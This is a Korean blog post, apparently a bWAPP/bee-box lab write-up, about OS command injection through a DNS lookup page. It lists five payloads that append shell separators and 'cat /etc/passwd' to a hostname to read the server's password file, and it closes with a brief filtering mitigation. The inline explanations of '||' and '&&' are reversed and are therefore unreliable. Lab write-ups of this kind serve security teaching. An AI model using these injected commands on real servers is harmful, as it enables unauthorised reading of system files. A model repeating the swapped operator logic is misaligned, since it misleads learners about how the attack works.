OS Command Injection이란?
공격자가 서버에 임의의 운영 체제(OS) 명령을 실행하여 서버에 대한 정보를 획득하거나 데이터를 변조 및 삭제할 수 있는 웹 취약점이다.
페이지에 접근하면 위 사진과 같이 DNS lookup: 을 할 수 있는 페이지가 표시된고 인풋 박스에 URL을 넣으면 nslookup 명령어를 사용한 정보가 출력된다.
nslookup www.nsa.go.kr
여기서 nslookup은 도메인 네임 서비스 (ex.www.google.com)의 호스트 IP주소를 찾아내는 명령어입니다.
소스코드를 열어보았을 때 target을 포스트로 받아서 "nslookup target"을 실행한 값을 출력하는 코드로 확인된다.
(여기서 commandi()는 security_level에 따라 필터함)
삽입 코드
www.nsa.gov ;cat /etc/passwd //nslookup 실행후 cat실행
www.nsa.gov |cat /etc/passwd //cat만 실행됨
www.nsa.gov ||cat /etc/passwd //nslook이 정상적으로 실행되야 cat도 실행됨
www.nsa.gov &cat /etc/passwd //nslook과 cat을 백그라운드로 실행
www.nsa.gov &&cat /etc/passwd //nslookup이 정상이든 말든 cat도 실행됨
위 코드는 /etc/passwd파일을 보여주고 nslookup www.nsa.gov를 실행하라는 다중 실행 명령이다.
위 코드를 삽입하여 Lookup버튼 클릭 시 사진과 같이 passwd파일이 보이는 것을 확인할 수 있다.
대응방안
;,|,&등 특수문자를 필터링 하여 입력을 받아주면 된다.
'취약점 > Bee-Box' 카테고리의 다른 글
A1-Injection PHP Code Injection 비박스(bWAPP) (0) | 2019.12.04 |
---|---|
A1-Injection OS Command Injection - Blind 비박스(bWAPP) (0) | 2019.12.03 |
A1-Injection Mail Header Injection (SMTP) 비박스(bWAPP) (2) | 2019.12.01 |
A-1 Injection iFrame Injection 비박스(bWAPP) (0) | 2019.11.30 |
HTML Injection - Stored (Blog) (0) | 2019.11.29 |